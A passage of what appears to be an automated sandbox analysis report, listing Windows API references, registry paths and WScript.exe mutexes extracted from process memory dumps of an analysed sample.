"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FlushProcessWriteBuffers"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumber"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "WakeConditionVariable"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "InitializeSRWLock"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FlushInstructionCache"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExA"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetProcessAffinityMask"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocale"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTextAttribute"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "ClientToScreen"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SetRect"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "StretchBlt"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp")40:T6e5,"Software\Embarcadero\Locales" in Source: 18191-153-00DFC0D4 "Software\CodeGear\Locales" in Source: 18191-153-00DFC0D4 "Software\Borland\Locales" in Source: 18191-153-00DFC0D4 "Software\Borland\Delphi\Locales" in Source: 18191-153-00DFC0D4 "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 18191-3933-00EA1228 "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00000952.00000001.125240.02B90000.00000004.mdmp 00000000-00000952.00000002.127161.02B90000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00000952.00000002.127161.02B90000.00000004.mdmp "Registry\Machine\Software\Classes\MediaFoundation\Transforms" in Source: 00000000-00004092.00000000.124993.D20C0000.00000004.mdmp 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E60687F7-01A1-40AA-86A" in Source: 00000000-00004092.00000000.124993.D20C0000.00000004.mdmp 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp "achine\Software\Classes\AppID\Grape.exe" in Source: 00000000-00004092.00000000.124993.D20C0000.00000004.mdmp 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp "Software\Microsoft\VisualStudio\MSPDB" in Source: 00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp "Software\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp41:T8e8,Process WScript.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2804:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2804:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\SM0:2804:304:WilStaging_02" Process WScript.exe created mutex with name "Local\SM0:2804:120:WilError_01" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "SM0:2804:304:WilStaging_02" Process WScript.exe created mutex with name "SM0:2804:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2804:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2804:120:WilError_01" Process wscript.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6836:120:WilError_01" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6836:304:WilStaging_02" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process wscript.exe created mutex with name "Local\SM0:6836:120:WilError_01" Process wscript.exe created mutex with name "Local\SM0:6836:304:WilStaging_02" Process wscript.exe created mutex with name "SM0:6836:304:WilStaging_02" Process wscript.exe created mutex with name "SM0:6836:120:WilError_01" Process wscript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process wscript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process wscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6836:304:WilStaging_02"42:T2183,"Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00000952.00000001.125240.02B90000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00000952.00000002.127161.02B90000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00000952.00000002.127161.02B90000.00000004.mdmp "Registry\Machine\Software\Classes\MediaFoundation\Transforms" in Source: 00000000-00004092.00000000.124993.D20C0000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E60687F7-01A1-40AA-86A" in Source: 00000000-00004092.00000000.124993.D20C0000.00000004.mdmp "achine\Software\Classes\AppID\Grape.exe" in Source: 00000000-00004092.00000000.124993.D20C0000.00000004.mdmp "Software\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp "Software\Microsoft\VisualStudio\MSPDB" in Source: 00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp "Registry\Machine\Software\Classes\MediaFoundation\Transforms" in Source: 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E60687F7-01A1-40AA-86A" in Source: 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp "achine\Software\Classes\AppID\Grape.exe" in Source: 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp "Registry\Machine\Software\Classes\MediaFoundation\Transforms" in Source: 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E60687F7-01A1-40AA-86A" in Source: 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp "achine\Software\Classes\AppID\Grape.exe" in Source: 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C2F03A33-21F5-47FA-B4B" in Source: 00000000-00004472.00000000.124439.84100000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{2E1271D5-2FF2-4EA4-9647-C67A82A2D85C}" in Source: 00000000-00004472.00000000.124439.84100000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{2E1271D5-2FF2-4EA4-9647-C67A82A2D85C}" in Source: 00000000-00004472.00000000.124439.84100000.00000004.mdmp "y\Machine\Software\Classes\AppID\Grape.exe" in Source: 00000000-00004472.00000000.124439.84100000.00000004.mdmp "\Software\Classes\WOW6432Node\CLSID\{5" in Source: 00000000-00004472.00000000.124439.84100000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004472.00000001.126359.84100000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C2F03A33-21F5-47FA-B4B" in Source: 00000000-00004472.00000001.126359.84100000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{2E1271D5-2FF2-4EA4-9647-C67A82A2D85C}" in Source: 00000000-00004472.00000001.126359.84100000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{2E1271D5-2FF2-4EA4-9647-C67A82A2D85C}" in Source: 00000000-00004472.00000001.126359.84100000.00000004.mdmp "y\Machine\Software\Classes\AppID\Grape.exe" in Source: 00000000-00004472.00000001.126359.84100000.00000004.mdmp "\Software\Classes\WOW6432Node\CLSID\{5" in Source: 00000000-00004472.00000001.126359.84100000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004472.00000002.128280.84100000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C2F03A33-21F5-47FA-B4B" in Source: 00000000-00004472.00000002.128280.8414E000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{2E1271D5-2FF2-4EA4-9647-C67A82A2D85C}" in Source: 00000000-00004472.00000002.128280.8414E000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{2E1271D5-2FF2-4EA4-9647-C67A82A2D85C}" in Source: 00000000-00004472.00000002.128280.8414E000.00000004.mdmp "y\Machine\Software\Classes\AppID\Grape.exe" in Source: 00000000-00004472.00000002.128280.8414E000.00000004.mdmp "\Software\Classes\WOW6432Node\CLSID\{5" in Source: 00000000-00004472.00000002.128280.8414E000.00000004.mdmp "Software\Embarcadero\Locales" in Source: 00000000-00005108.00000002.127043.00DF1000.00000020.mdmp "Software\CodeGear\Locales" in Source: 00000000-00005108.00000002.127043.00DF1000.00000020.mdmp "Software\Borland\Locales" in Source: 00000000-00005108.00000002.127043.00DF1000.00000020.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005108.00000002.127043.00DF1000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005108.00000002.127043.00DF1000.00000020.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00006836.00000001.121847.4FFA8000.00000002.mdmp "HKLM\" in Source: 00000000-00006836.00000001.121847.4FFA8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 